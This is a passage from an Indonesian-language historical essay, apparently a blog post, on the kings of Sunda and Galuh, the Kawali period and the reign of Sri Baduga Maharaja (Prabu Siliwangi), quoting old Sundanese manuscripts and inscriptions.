- 1030 M). Ibunya seorang puteri Sriwijaya dan masih kerabat dekat Raja Wurawuri. Adapun permaisuri Sri Jayabupati adalah puteri Darmawangsa, adik Dewi Laksmi isteri Airlangga. Dan Karena pernikahan tersebut Jayabupati mendapat anugerah gelar dari mertuanya, Darmawangsa. Gelar itulah yang dicantumkannya dalam prasasti Cibadak. <br /><br /> <br /><br />Raja Sri Jayabupati pernah mengalami peristiwa tragis. Dalam kedudukannya sebagai Putera Mahkota Sunda keturunan Sriwijaya dan menantu Darmawangsa, ia harus menyaksikan permusuhan yang makin menjadi-jadi antara Sriwijaya dengan mertuanya, Darmawangsa. Pada puncak krisis ia hanya menjadi penonton dan terpaksa tinggal diam dalam kekecewaan karena harus "menyaksikan" Darmawangsa diserang dan dibinasakan oleh Raja Wurawuri atas dukungan Sriwijaya. Ia diberi tahu akan terjadinya serbuan itu oleh pihak Sriwijaya, akan tetapi ia dan ayahnya diancam agar bersikap netral dalam hal ini. Serangan Wurawuri yang dalam Prasasti Calcuta (disimpan di sana) disebut pralaya itu terjadi tahun 1019 M. <br /><br /> <br /><br />Di bawah ini adalah urutan Raja-raja Sunda sampai Sri Jaya Bupati yang berjumlah 20 orang : <br /><br /> <br /><br />1. Maharaja Tarusbawa (669 - 723 M) <br /><br />2. Sanjaya Harisdarma, cucu-menantu no. 1,(723-732 M). <br /><br />3. Tamperan Barmawijaya (732-739 M). <br /><br />4. Rakeyan Banga (739-766 M). <br /><br />5. Rakeyan Medang Prabu Hulukujang (766-783 M). <br /><br />6. Prabu Gilingwesi, menantu no. 5,(783-795 M). <br /><br />7. Pucukbumi Darmeswara, menantu no. 6, (795-819 M).<br /><br />8. Prabu Gajah Kulon Rakeyan Wuwus (819-891 M). <br /><br />9. Prabu Darmaraksa (adik-ipar no. 8, 891 - 895 M). <br /><br />10.Windusakti Prabu Dewageng (895 - 913 M). <br /><br />11.Rakeyan Kemuning Gading Prabu Pucukwesi (913-916 M). <br /><br />12.Rakeyan Jayagiri Prabu Wanayasa, menantu no. 11, (916-942 M). <br /><br />13.Prabu Resi Atmayadarma Hariwangsa (942-954 M).<br /><br />14.Limbur Kancana,putera no. 11,(954-964 M). <br /><br />15.Prabu Munding Ganawirya (964-973 M). <br /><br />16.Prabu Jayagiri Rakeyan Wulung Gadung (973 - 989 M). <br /><br />17.Prabu Brajawisesa (989-1012 M). <br /><br />18.Prabu Dewa Sanghyang (1012-1019M). <br /><br />19.Prabu Sanghyang Ageng (1019 - 1030 M).<br /><br />20.Prabu Detya Maharaja Sri Jayabupati (1030–1042 M ) <br /><br /> <br /><br />Kecuali Tarusbawa (no. 1), Banga (no. 4) - Darmeswara (no. 7) yang hanya berkuasa di kawasan sebelat barat Citarum, raja-raja yang lainnya berkuasa di Sunda dan Galuh. <br /><br /><br />A.Kawali Ibukota Baru<br /><br /> <br /><br />1. Pusat Pemerintahan Berpindah-pindah<br /><br /> <br /><br />Bila rasa persatuan dan kesatuan bangsa Indonesia tumbuh secara bersangsur-angsur, ini mudah dipahami karena banyaknya kelompok etnik yang menjadi penduduk Indonesia. Rasa kesatuan etnik Sunda di Jawa Barat pun tidak tumbuh serempak, melainkan berangsur-angsur.<br /><br /> <br /><br />Telah dikemukakan bahwa keturunan Manarah yang laki-laki terputus sehingga pada tahun 852 tahta Galuh jatuh kepada keturunan Banga, yaitu Rakeyan Wuwus yang beristrikan puteri keturunan Galuh. Sebaliknya adik perempuan Rakeyan Wuwus menikah dengan putera Galuh yang kemudian menggantikan kedudukan iparnya sebagai Raja Sunda IX dengan gelar Prabu Darmaraksa Buana. Kehadiran orang Galuh sebagai Raja Sunda di Pakuan waktu itu belum dapat diterima secara umum, sama halnya dengan kehadiran Sanjaya dan Tamperan sebagai orang Sunda di Galuh. Prabu Darmaraksa (891 - 895) dibunuh oleh seorang menteri Sunda yang fanatik.<br /><br /> <br /><br />Karena peristiwa itu, tiap Raja Sunda yang baru selalu memperhitungkan tempat kedudukan yang akan dipilihnya menjadi pusat pemerintahan. Dengan demikian, pusat pemerintahan itu berpindah-pindah dari barat ke timur dan sebaliknya. Antara tahun 895 sampai tahun 1311 kawasan Jawa Barat diramaikan sewaktu-waktu oleh iring-iringan rom an raja baru yang pindah tempat.<br /><br /> <br /><br />Ayah Sri Jayabupati berkedudukan di Galuh, Sri Jayabupati di Pakuan, tetapi puteranya berkedudukan di Galuh lagi. Dua raja berikutnya (Raja Sunda ke-22 dan ke-23) memerintah di Pakuan. Raja ke-24 memerintah di Galuh dan raja ke-25, yaitu Prabu Guru Darmasiksa mula-mula berkedudukan di Saunggalah, kemudian pindah ke Pakuan. Puteranya, Prabu Ragasuci, berkedudukan di Saunggalah dan dipusarakan di Taman, Ciamis.<br /><br /> <br /><br />Proses kepindahan seperti ini memang merepotkan (menurut pandangan kita), namun pengaruh positifnya jelas sekali dalam hal pemantapan etnik di Jawa Barat. Antara Galuh dengan Sunda memang terdapat kelainan dalam hal tradisi. Anwas Adiwijaya (1975) mengungkapkan bahwa orang Galuh itu "orang air", sedang orang Sunda "Orang Gunung". Yang satu memiliki "mitos buaya", yang lain "mitos harimau".<br /><br /> <br /><br />Di daerah Ciamis dan Tasikmalaya masih ada beberapa tempat yang bernama Panereban. Tempat yang bernama demikian pada masa silam merupakan tempat melabuhkan (nerebkeun) mayat karena menurut tradisi Galuh, mayat harus "dilarung" (dihanyutkan) di sungai. Sebaliknya orang Kanekes yang masih menyimpan banyak sekali "sisa-sisa" tradisi Sunda, mengubur mayat dalam tanah. Tradisi "nerebkeun" di sebelah timur dan tradisi "ngurebkeun" di sebelah barat (membekas dalam istilah panereban dan pasarean).<br /><br /> <br /><br />Peristiwa sejarah telah meleburkan kedua kelompok sub-etnik ini menjadi satu "Orang Air" dengan "Orang Gunung" itu menjadi akrab dan berbaur seperti dilambangkan oleh dongeng Sakadang Kuya jeung Sakadang Monyet (kura-kura dan monyet). Dongeng yang khas Sunda ini sangat mendalam dan meluas dalam segala lapisan masyarakat, padahal mereka tahu, bahwa dalam kenyataan sehari-hari monyet dan kuya itu bertemu saja mugkin tidak pernah (di kebun binatang pun tidak pernah diperkenalkan).<br /><br /> <br /><br />Dalam abad ke-14 sebutan SUNDA itu sudah meliputi seluruh Jawa Barat, baik dalam pengertian wilayah maupun dalam pengertian etnik. Menurut Pustaka Paratwan i Bgumi Jawadwipa, Parwa I sarga 1, nama Sunda mulai digunakan oleh Purnawarman untuk Ibukota Tarumanagara yang baru didirikannya, Sundapura. Idealisme kenegaraan memang terpaut di dalamnya karena Sundapura mengandung arti kota suci atau kota murni, sedangkan Galuh berarti permata atau batu mulia (secara kiasan berarti gadis).<br /><br /> <br /><br /> <br /><br /> <br /><br />2. Peran bergeser ke timur.<br /><br /> <br /><br />Dalam abad ke-14 di timur muncul kota baru yang makin mendesak kedudukan Galuh dan Saunggalah, yaitu Kawali (artinya kuali atau belanga). Lokasinya strategis karena berada di tengah segitiga Galunggung, Saunggalah dan Galuh. Sejak abad XIV ini Galuh selalu disangkutpautkan dengan Kawali. Dua orang Raja Sunda dipusarakan di Winduraja (sekarang bertetangga desa dengan Kawali).<br /><br /> <br /><br />Sebenarnya gejala pemerintahan yang condong ke timur sudah mulai nampak sejak masa pemerintahan Prabu Ragasuci (1297-1303). Ketika naik tahta menggantikan ayahnya (Prabu Darmasiksa), ia tetap memilih Saunggalah sebagai pusat pemerintahan karena ia sendiri sebelumnya telah lama berkedudukan sebagai raja di timur. Tetapi pada masa pemerintahan puteranya Prabu Citraganda, sekali lagi Pakuan menjadi pusat pemerintahan.<br /><br /> <br /><br />Ragasuci sebenarnya bukan putera mahkota karena kedudukanya itu dijabat kakaknya Rakeyan Jayadarma. Menurut Pustaka Rajyatajya i Bhumi Nusantara parwa II sarga 3, Jayadarma adalah menantu Mahisa Campaka di Jawa Timur karena ia berjodoh dengan Dyah Singamurti alias Dyah Lembu Tal. Mereka berputera Sang Nararya Sanggramawijaya atau lebih dikenal dengan nama Raden Wijaya, yang lahir di Pakuan.<br /><br /> <br /><br />Karena Jayadarma wafat dalam usia muda, Lembu Tal tidak bersedia tinggal lebih lama di Pakuan. Akhirnya Wijaya dan ibunya diantarkan ke Jawa Timur. Dalam Babad Tanah Jawi, Wijaya disebut pula Jaka Susuruh dari Pajajaran yang kemudian menjadi Raja Majapahit yang pertama. <br /><br /> <br /><br />Sementara itu, kematian Jayadarma mengosongkan kedudukan putera mahkota karena Wijaya berada di Jawa Timur. Prabu Darmasiksa kemudian menunjuk putera Prabu Ragasuci, Citraganda, sebagai calon ahli warisnya. Permaisuri Ragasuci adalah Dara Puspa, puteri Kerajaan Melayu, adik Dara Kencana isteri Kertanegara. Citraganda tinggal di Pakuan bersama kakeknya. Ketika Prabu Darmasiksa wafat, untuk sementara ia menjadi raja daerah selama enam tahun di Pakuan. Ketika itu Raja Sunda dijabat ayahnya di Saunggalah. Dari 1303 sampai 1311, Citraganda menjadi Raja Sunda di Pakuan dan ketika wafat ia dipusarakan di Tanjung.<br /><br /> <br /><br />Prabu Lingga Dewata, putera Citraganda, mungkin berkedudukan di Kawali. Yang pasti, menantunya, Prabu Ajiguna Wisesa (1333-1340) sudah berkedudukan di Kawali dan sampai tahun 1482 pusat pemerintahan tetap berada di sana. Bisa disebut bahwa tahun 1333-1482 adalah Jaman Kawali dalam sejarah pemerintahan di Jawa Barat dan mengenal lima orang raja.<br /><br /> <br /><br />Lain dengan Galuh, nama Kawali terabadikan dalam dua buah prasasti batu peninggalan Prabu Raja Wastu yang tersimpan di Astana Gede, Kawali. Dalam prasasti itu ditegaskan "mangadeg di kuta Kawali" (bertahta di kota Kawali) dan keratonnya disebut Surawisesa yang dijelaskan sebagai "Dalem sipawindu hurip" (keraton yang memberikan ketenangan hidup).<br /><br /> <br /><br />Prabu Raja Wastu atau Niskala Wastu Kancana adalah putera Prabu Maharaja Lingga Buana yang gugur di medan Bubat dalam tahun 1357. Ketika terjadi Pasunda Bubat, usia Wastu Kancana baru 9 tahun dan ia adalah satu-satunya ahli waris kerajaan yang hidup karena ketiga kakaknya meninggal. Pemerintahan kemudian diwakili oleh pamannya Mangkubumi Suradipati atau Prabu Bunisora (ada juga yang menyebut Prabu Kuda Lalean, sedangkan dalam Babad Panjalu disebut Prabu Borosngora. Selain itu ia pun dijuluki Batara Guru di Jampang karena ia menjadi pertapa dan resi yang ulung). Mangkubumi Suradipati dimakamkan di Geger Omas.<br /><br /> <br /><br />Setelah pemerintahan di jalankan pamannya yang sekaligus juga mertuanya, Wastu Kancana dinobatkan menjadi raja pada tahun 1371 pada usia 23 tahun. Permaisurinya yang pertama adalah Lara Sarkati puteri Lampung. Dari perkawinan ini lahir Sang Haliwungan, yang setelah dinobatkan menjadi Raja Sunda bergelar Prabu Susuktunggal. Permaisuri yang kedua adalah Mayangsari puteri sulung Bunisora atau Mangkubumi Suradipati. Dari perkawinannya dengan Mayangsari lahir Ningrat Kancana, yang setelah menjadi penguasa Galuh bergelar Prabu Dewa Niskala.<br /><br /> <br /><br />Setelah Wastu Kancana wafat tahun 1475, kerajaan dipecah dua diantara Susuktunggal dan Dewa Niskala dalam kedudukan sederajat. Politik kesatuan wilayah telah membuat jalinan perkawinan antar cucu Wastu Kencana. Jayadewata, putera Dewa Niskala, mula-mula memperistri Ambetkasih, puteri Ki Gedeng Sindangkasih, kemudian memperistri Subanglarang. Yang terakhir ini adalah puteri Ki Gedeng Tapa yang menjadi Raja Singapura.<br /><br /> <br /><br />Subanglarang ini keluaran pesantren Pondok Quro di Pura, Karawang. Ia seorang wanita muslim murid Syekh Hasanudin yang menganut Mazhab Hanafi. Pesantren Qura di Karawang didirikan tahun 1416 dalam masa pemerintahan Wastu Kancana. Subanglarang belajar di situ selama dua tahun. Ia adalah nenek Syarif Hidayatullah.<br /><br /> <br /><br />Kemudian Jayadewata mempersitri Kentring Manik Mayang Sunda puteri Prabu Susuktunggal. Jadilah antara Raja Sunda dan Raja Galuh yang seayah ini menjadi besan.<br /><br /> <br /><br /> <br /><br /> <br /><br />3. Ibukota kembali ke Pakuan<br /><br /> <br /><br />Kejatuhan Prabu Kertabumi (Brawijaya V) Raja Majapahit tahun 1478 telah mempengaruhi jalan sejarah di Jawa Barat. Rom an pengungsi dari kerabat keraton Majapahit akhirnya ada juga yang sampai di Kawali. Salah seorang diantaranya ialah Raden Baribin saudara seayah Prabu Kertabumi. Ia diterima dengan baik oleh Prabu Dewa Niskala bahkan kemudian dijodohkan dengan Ratna Ayu Kirana (puteri bungsu Dewa Niskala dari salah seorang isterinya), adik Raden Banyak Cakra (Kamandaka) yang telah jadi raja daerah di Pasir Luhur. Disamping itu Dewa Niskala sendiri menikahi salah seorang dari wanita pengungsi yang kebetulan telah bertunangan.<br /><br /> <br /><br />Dalam Carita Parahiyangan disebutkan "estri larangan ti kaluaran". Sejak peristiwa Bubat, kerabat keraton Kawali ditabukan berjodoh dengan kerabat keraton Majapahit. Selain itu, menurut "perundang-undangan" waktu itu, seorang wanita yang bertunangan tidak boleh menikah dengan laki-laki lain kecuali bila tunangannya meninggal dunia atau membatalkan pertunangan. <br /><br /> <br /><br />Dengan demikian, Dewa Niskala telah melanggar dua peraturan sekaligus dan dianggap berdosa besar sebagai raja. Kehebohan pun tak terelakkan. Susuktunggal (Raja Sunda yang juga besan Dewa Niskala) mengancam memutuskan hubungan dengan Kawali. Namun, kericuhan dapat dicegah dengan keputusan, bahwa kedua raja yang berselisih itu bersama-sama mengundurkan diri. Akhirnya Prabu Dewa Niskala menyerahkan Tahta Kerajaan Galuh kepada puteranya Jayadewata. Demikian pula dengan Prabu Susuktungal yang menyerahkan Tahta Kerajaan Sunda kepada menantunya ini (Jayadewata).<br /><br /> <br /><br />Dengan peristiwa yang terjadi tahun 1482 itu, kerajaan warisan Wastu Kencana berada kembali dalam satu tangan. Jayadewata memutuskan untuk berkedudukan di Pakuan sebagai "Susuhunan" karena ia telah lama tinggal di sini menjalankan pemerintahan sehari-hari mewakili mertuanya. Sekali lagi Pakuan menjadi pusat pemerintahan.<br /><br /> <br /><br /> <br /><br /> <br /><br />B. Raja-raja Pajajaran<br /><br /> <br /><br />1. Sri Baduga Maharaja <br /><br /> <br /><br />Jaman Pajajaran diawali oleh pemerintahan Sri Baduga Maharaja (Ratu Jayadewata) yang memerintah selama 39 thaun (1482 - 1521). Pada masa inilah Pakuan mencapai puncak perkembangannya. <br /><br /> <br /><br />Dalam prasasti Batutulis diberitakan bahwa Sri Baduga dinobatkan dua kali, yaitu yang pertama ketika Jayadewata menerima Tahta Galuh dari ayahnya (Prabu Dewa Niskala) yang kemudian bergelar Prabu Guru Dewapranata. Yang kedua ketika ia menerima Tahta Kerajaan Sunda dari mertuanya, Susuktunggal. Dengan peristiwa ini, ia menjadi penguasa Sunda-Galuh dan dinobatkan dengar gelar Sri Baduga Maharaja Ratu Haji di Pakuan Pajajaran Sri Sang Ratu Dewata. Jadi sekali lagi dan untuk terakhir kalinya, setelah "sepi" selama 149 tahun, Jawa Barat kembali menyaksikan iring-iringan rom an raja yang berpindah tempat dari timur ke barat. <br /><br /> <br /><br />Di Jawa Barat Sri Baduga ini lebih dikenal dengan nama Prabu Siliwangi. Nama Siliwangi sudah tercatat dalam kropak 630 sebagai lakon pantun. Naskah itu ditulis tahun 1518 ketika Sri Baduga masih hidup. Lakon Prabu Siliwangi dalam berbagai versinya berintikan kisah tokoh ini menjadi raja di Pakuan. Peristiwa itu dari segi sejarah berarti saat Sri Baduga mempunyai kekuasaan yang sama besarnya dengan Wastu Kancana (kakeknya) alias Prabu Wangi (menurut pandangan para pujangga Sunda). <br /><br /> <br /><br />Menurut tradisi lama. orang segan atau tidak boleh menyebut gelar raja yang sesungguhnya, maka juru pantun mempopulerkan sebutan Siliwangi. Dengan nama itulah ia dikenal dalam literatur Sunda. Wangsakerta pun mengungkapkan bahwa Siliwangi bukan nama pribadi, ia menulis: <br /><br /> <br /><br />"Kawalya ta wwang Sunda lawan ika wwang Carbon mwang sakweh ira wwang Jawa Kulwan anyebuta Prabhu Siliwangi raja Pajajaran. Dadyeka dudu ngaran swaraga nira". <br /><br /> <br /><br />(Hanya orang Sunda dan orang Cirebon serta semua orang Jawa Barat yang menyebut Prabu Siliwangi raja Pajajaran. Jadi nama itu bukan nama pribadinya). <br /><br /> <br /><br />Waktu mudanya Sri Baduga terkenal sebagai kesatria pemberani dan tangkas bahkan satu-satunya yang pernah mengalahkan Ratu Japura (Amuk Murugul) waktu bersaing memperbutkan Subanglarang (istri kedua Prabu Siliwangi yang beragama Islam). Dalam berbagai hal, orang sejamannya teringat kepada kebesaran mendiang buyutnya (Prabu Maharaja Lingga Buana) yang gugur di Bubat yang digelari Prabu Wangi. <br /><br /> <br /><br />Tentang hal itu, Pustaka Rajyarajya i Bhumi Nusantara II/2 mengungkapkan bahwa orang Sunda menganggap Sri Baduga sebagai pengganti Prabu Wangi, sebagai silih yang telah hilang. Naskahnya berisi sebagai berikut (artinya saja): <br /><br /> <br /><br />"Di medan perang Bubat ia banyak membinasakan musuhnya karena Prabu Maharaja sangat menguasai ilmu senjata dan mahir berperang, tidak mau negaranya diperintah dan dijajah orang lain. <br /><br /> <br /><br />Ia berani menghadapi pasukan besar Majapahit yang dipimpin oleh sang Patih Mada yang jumlahnya tidak terhitung. Oleh karena itu, ia bersama semua pengiringnya gugur tidak tersisa. <br /><br /> <br /><br />Ia senantiasa mengharapkan kemakmuran dan kesejahteraan hidup rakyatnya di seluruh bumi Jawa Barat. Kemashurannya sampai kepada beberapa negara di pulau-pulau Dwipantara atau Nusantara namanya yang lain. Kemashuran Sang Prabu Maharaja membangkitkan (rasa bangga kepada) keluarga, menteri-menteri kerajaan, angkatan perang dan rakyat Jawa Barat. Oleh karena itu nama Prabu Maharaja mewangi. Selanjutnya ia di sebut Prabu Wangi. Dan keturunannya lalu disebut dengan nama Prabu Siliwangi. Demikianlah menurut penuturan orang Sunda". <br /><br /> <br /><br />Kesenjangan antara pendapat orang Sunda dengan kenyataan sejarah seperti yang diungkapkan di atas mudah dijajagi. Pangeran Wangsakerta, penanggung jawab penyusunan Sejarah Nusantara, menganggap bahwa tokoh Prabu Wangi adalah Maharaja Linggabuana yang gugur di Bubat, sedangkan penggantinya ("silih"nya) bukan Sri Baduga melainkan Wastu Kancana (kakek Sri Baduga, yang menurut naskah Wastu Kancana disebut juga Prabu Wangisutah). <br /><br /> <br /><br />Nah, orang Sunda tidak memperhatikan perbedaan ini sehingga menganggap Prabu Siliwangi sebagai putera Wastu Kancana (Prabu Anggalarang). Tetapi dalam Carita Parahiyangan disebutkan bahwa Niskala Wastu Kancana itu adalah "seuweu" Prabu Wangi. Mengapa Dewa Niskala (ayah Sri Baduga) dilewat? Ini disebabkan Dewa Niskala hanya menjadi penguasa Galuh. Dalam hubungan ini tokoh Sri Baduga memang penerus "langsung" dari Wastu Kancana. Menurut Pustaka Rajyarajya I Bhumi Nusantara II/4, ayah dan mertua Sri Baduga (Dewa Niskala dan Susuktunggal) hanya bergelar PRABU, sedangkan Jayadewata bergelar Maharaja (sama seperti kakeknya Wastu Kancana sebagai penguasa Sunda-Galuh). <br /><br /> <br /><br />Dengan demikian, seperti diutarakan Amir Sutaarga (1965), Sri Baduga itu dianggap sebagai "silih" (pengganti) Prabu Wangi Wastu Kancana (oleh Pangeran Wangsakerta disebut Prabu Wangisutah). "Silih" dalam pengertian kekuasaan ini oleh para pujangga babad yang kemudian ditanggapi sebagai pergantian generasi langsung dari ayah kepada anak sehingga Prabu Siliwangi dianggap putera Wastu Kancana. <br /><br /> <br /><br />Adakah diantara rekan-rekan yang bisa bercerita lebih jauh tentang peritiwa Bubat? Saya hanya dapat sekilas info dari Suaramerdeka yang menerangkan sbb.: <br /><br /> <br /><br />"Perang antara Kerajaan Majapahit dan Kerajaan Sunda itu terjadi di desa Bubat. Perang ini dipicu oleh ambisi Maha Patih Gajah Mada yang ingin menguasai Kerajaan Sunda. Pada saat itu sebenarnya antara Kerajaan Sunda dan Majapahit sedang dibangun ikatan persaudaraan, yaitu dengan menjodohkan Dyah Pitaloka dengan Maharaja Hayamwuruk. Nah Rom an Kerajaan Sunda ini di gempur oleh pasukan Mahapatih Gajah Mada yang menyebabkan semua pasukan Kerajaan Sunda yang ikut rom an punah. Akibat perang Bubat inipula, maka hubungan antara Mahapatih Gajah Mada dan Maharaja Hayamwuruk menjadi renggang". <br /><br /> <br /><br />Ada sebuah pustaka yang bisa dijadikan rujukan, Guguritan Sunda, yang Mengisahkan gejolak sosial dan pecahnya perang di Desa Bubat antara Kerajaan Majapahit dengan Kerajaan Sunda dan gugurnya Mahapatih Gajah Mada secara misterius. Alih bahasa oleh I Wayan Sutedja (sepertinya pustaka aslinya ditulis dalam Bahasa Bali, 1995. Dan bagi yang tinggal di USA, pustaka ini bisa dipinjam di Ohio University. Di Jerman mah masih gelap -- belum diketahui). <br /><br /> <br /><br />Proses kepindahan isteri Ratu Pakuan (Sri Baduga) ke Pakuan terekam oleh pujangga bernama Kai Raga di Gunung Srimanganti (Sikuray). Naskahnya ditulis dalam a pantun dan dinamai Carita Ratu Pakuan, yang diperkirakan ditulis pada akhir abad ke-17 atau awal abad ke-18. Naskah itu dapat ditemukan pada Koropak 410 . Isinya adalah sebagai berikut (terjemahannya saja): <br /><br /> <br /><br />Tersebutlah Ngabetkasih bersama madu-madunya bergerak payung lebesaran melintas tugu yang seia dan sekata hendak pulang ke Pakuan kembali dari keraton di timur halaman cahaya putih induk permata cahaya datar namanya keraton berseri emas permata rumah berukir lukisan alun di Sanghiyang Pandan-larang keraton penenang hidup. <br /><br /> <br /><br />Bergerak barisan depan disusul yang kemudian teduh dalam ikatan dijunjung bakul kue dengan tutup yang diukir kotak jati bersudut bulatan emas tempat sirih nampan perak bertiang gading ukiran telapak gajah hendak dibawa ke Pakuan. <br /><br /> <br /><br />Bergerak tandu kencana beratap cemara gading bertiang emas bernama lingkaran langit berpuncak permata indah ditatahkan pada watang yang bercungap singa-singaan di sebelah kiri-kanan payung hijau bertiang gading berpuncak getas yang bertiang berpuncak emas dan payung saberilen berumbai potongan benang tapok terongnya emas berlekuk berayun panjang langkahnya terkedip sambil menoleh ibarat semut, rukun dengan saudaranya tingkahnya seperti semut beralih. <br /><br /> <br /><br />Bergerak seperti pematang cahaya melayang-layang berlenggang di awang-awang pembawa gendi di belakang pembawa kandaga di depan dan ayam-ayaman emas kiri-kanan kidang-kidangan emas di tengah siapa diusun di singa barong. <br /><br /> <br /><br />Bergerak yang di depan, menyusul yang kemudian barisan yang lain lagi. <br /><br /> <br /><br />Yang dikisahkan dalam pantun itu adalah Ngabetkasih (Ambetkasih), isteri Sri Baduga yang pertama (puteri Ki Gedeng Sindang Kasih, putera Wastu Kancana ketiga dari Mayangsari). Ia pindah dari keraton timur (Galuh) ke Pakuan bersama isteri-isteri Sri Baduga yang lain. <br /><br /> <br /><br />Tindakan pertama yang diambil oleh Sri Baduga setelah resmi dinobatkan jadi raja adalah menunaikan amanat dari kakeknya (Wastu Kancana) yang disampaikan melalui ayahnya (Ningrat Kancana) ketika ia masih menjadi mangkubumi di Kawali. Isi pesan ini bisa ditemukan pada salah satu prasasti peninggalan Sri Baduga di Kebantenan. Isinya sebagai berikut (artinya saja): <br /><br /> <br /><br />Semoga selamat. Ini tanda peringatan bagi Rahyang Niskala Wastu Kancana. Turun kepada Rahyang Ningrat Kancana, maka selanjutnya kepada Susuhunan sekarang di Pakuan Pajajaran. Harus menitipkan ibukota di Jayagiri dan ibukota di Sunda Sembawa. <br /><br /> <br /><br />Semoga ada yang mengurusnya. Jangan memberatkannya dengan "dasa", "calagra", "kapas timbang", dan "pare dongdang". <br /><br /> <br /><br />Maka diperintahkan kepada para petugas muara agar jangan memungut bea. Karena merekalah yang selalu berbakti dan membaktikan diri kepada ajaran-ajaran. Merekalah yang tegas mengamalkan peraturan dewa. <br /><br /> <br /><br />Dengan tegas di sini disebut "dayeuhan" (ibukota) di Jayagiri dan Sunda Sembawa. Penduduk kedua dayeuh ini dibebaskan dari 4 macam pajak, yaitu "dasa" (pajak tenaga perorangan), "calagra" (pajak tenaga kolektif), "kapas timbang" (kapas 10 pikul) dan "pare dondang" (padi 1 gotongan). Dalam kropak 630, urutan pajak tersebut adalah dasa, calagra, "upeti", "panggeureus reuma". <br /><br /> <br /><br />Dalam koropak 406 disebutkan bahwa dari daerah Kandang Wesi (sekarang Bungbulang, Garut) harus membawa "kapas sapuluh carangka" (10 carangka = 10 pikul = 1 timbang atau menurut Coolsma, 1 caeng timbang) sebagai upeti ke Pakuan tiap tahun. Kapas termasuk upeti. Jadi tidak dikenakan kepada rakyat secara perorangan, melainkan kepada penguasa setempat. <br /><br /> <br /><br />"Pare dondang" disebut "panggeres reuma". Panggeres adalah hasil lebih atau hasil cuma-cuma tanpa usaha. Reuma adalah bekas ladang. Jadi, padi yang tumbuh terlambat (turiang) di bekas ladang setelah dipanen dan kemudian ditinggalkan karena petani membuka ladang baru, menjadi hak raja atau penguasa setempat (tohaan). Dongdang adalah alat pikul seperti "tempat tidur" persegi empat yang diberi tali atau tangkai berlubang untuk memasukan pikulan. Dondang harus selalu digotong. Karena bertali atau bertangkai, waktu digotong selalu berayun sehingga disebut "dondang" (berayun). Dondang pun khusus dipakai untuk membawa barang antaran pada selamatan atau arak-arakan. Oleh karena itu, "pare dongdang" atau "penggeres reuma" ini lebih bersifat barang antaran. <br /><br /> <br /><br />Pajak yang benar-benar hanyalah pajak tenaga dalam bentuk "dasa" dan "calagra" (Di Majapahit disebut "walaghara = pasukan kerja bakti). Tugas-tugas yang harus dilaksanakan untuk kepentingan raja diantaranya : menangkap ikan, berburu, memelihara saluran air (ngikis), bekerja di ladang atau di "serang ageung" (ladang kerajaan yang hasil padinya di peruntukkan bagi upacara resmi). <br /><br /> <br /><br />Dalam kropak 630 disebutkan "wwang tani bakti di wado" (petani tunduk kepada wado). Wado atau wadwa ialah prajurit kerajaan yang memimpin calagara. Sistem dasa dan calagara ini terus berlanjut setelah jaman kerajaan. Belanda yang di negaranya tidak mengenal sistem semacam ini memanfaatkanna untuk "rodi". Bentuk dasa diubah menjadi "Heerendiensten" (bekerja di tanah milik penguasa atau pembesar). Calagara diubah menjadi "Algemeenediensten" (dinas umum) atau "Campongdiesnten" (dinas Kampung) yang menyangkut kepentingan umum, seperti pemeliharaan saluran air, jalan, rumah jada dan keamanan. Jenis pertama dilakukan tanpa imbalan apa-apa, sedangkan jenis kedua dilakuan dengan imbalan dan makan. "Preangerstelsel" dan "Cultuurstelsel" yang keduanya berupa sistem tanam paksa memanfaatkan tradisi pajak tenaga ini. <br /><br /> <br /><br />Dalam akhir abad ke-19 bentuknya berubah menjadi "lakon gawe" dan berlaku untuk tingkat desa. Karena bersifat pajak, ada sangsi untuk mereka yang melalaikannya. Dari sinilah orang Sunda mempunyai peribahasa "puraga tamba kadengda" (bekerja sekedar untuk menghindari hukuman atau dendaan). Bentuk dasa pada dasarnya tetap berlangsung. Di desa ada kewajiban "gebagan" yaitu bekerja di sawah bengkok dan ti tingkat kabupaten bekerja untuk menggarap tanah para pembesar setempat. <br /><br /> <br /><br />Jadi "gotong royong tradisional berupa bekerja untuk kepentingan umum atas perintah kepala desa", menurut sejarahnya bukanlah gotong royong. Memang tradisional, tetapi ide dasarnya adalah pajak dalam bentuk tenaga. Dalam Pustaka Jawadwipa disebut karyabhakti dan sudah dikenal pada masa Tarumanagara dalam abad ke-5. <br /><br /> <br /><br />Piagam-piagam Sri Baduga lainnya berupa "piteket" karena langsung merupakan perintahnya. Isinya tidak hanya pembebasan pajak tetapi juga penetapan batas-batas "kabuyutan" di Sunda Sembawa dan Gunung Samaya yang dinyatakan sebagai "lurah kwikuan" yang disebut juga desa perdikan, desa bebas pajak. <br /><br /> <br /><br />Untuk mengetahui lebih lanjut kejadian di masa pemerintahan Sri Baduga, marilah kita telusuri sumber sejarah sebagai berikut: <br /><br /> <br /><br />a. Carita Parahiyangan. <br /><br /> <br /><br />Dalam sumber sejarah ini, pemerintahan Sri Baduga dilukiskan demikian : <br /><br /> <br /><br />"Purbatisi purbajati, mana mo kadatangan ku musuh ganal musuh alit. Suka kreta tang lor kidul kulon wetan kena kreta rasa. Tan kreta ja lakibi dina urang reya, ja loba di sanghiyang siksa". <br /><br /> <br /><br />(Ajaran dari leluhur dijunjung tinggi sehingga tidak akan kedatangan musuh, baik berupa laskar maupun penyakit batin. Senang sejahtera di utara, barat dan timur. Yang tidak merasa sejahtera hanyalah rumah tangga orang banyak yang serakah akan ajaran agama). <br /><br /> <br /><br />Dari Naskah ini dapat diketahui, bahwa pada saat itu telah banyak Rakyat Pajajaran yang beralih agama (Islam) dengan meninggalkan agama lama. Mereka disebut "loba" (serakah) karena merasa tidak puas dengan agama yang ada, lalu mencari yang baru.<br /><br /> <br /><br /> <br /><br />b. Pustaka Nagara Kretabhumi parwa I sarga 2. <br /><br />Naskah ini menceritakan, bahwa pada tanggal 12 bagian terang bulan Caitra tahun 1404 Saka, Syarif Hidayat menghentikan pengiriman upeti yang seharusnya di bawa setiap tahun ke Pakuan Pajajaran. [Syarif Hidayat masih cucu Sri Baduga dari Lara Santang. Ia dijadikan raja oleh uanya (Pangeran Cakrabuana) dan menjadi raja merdeka di Pajajaran di Bumi Sunda (Jawa Barat)] <br /><br /> <br /><br />Ketika itu Sri Baduga baru saja menempati istana Sang Bhima (sebelumnya di Surawisesa). Kemudian diberitakan, bahwa pasukan Angkatan Laut Demak yang kuat berada di Pelabuhan Cirebon untuk menjada kemungkinan datangnya serangan Pajajaran. <br /><br /> <br /><br />Tumenggung Jagabaya beserta 60 anggota pasukannya yang dikirimkan dari Pakuan ke Cirebon, tidak mengetahui kehadiran pasukan Demak di sana. 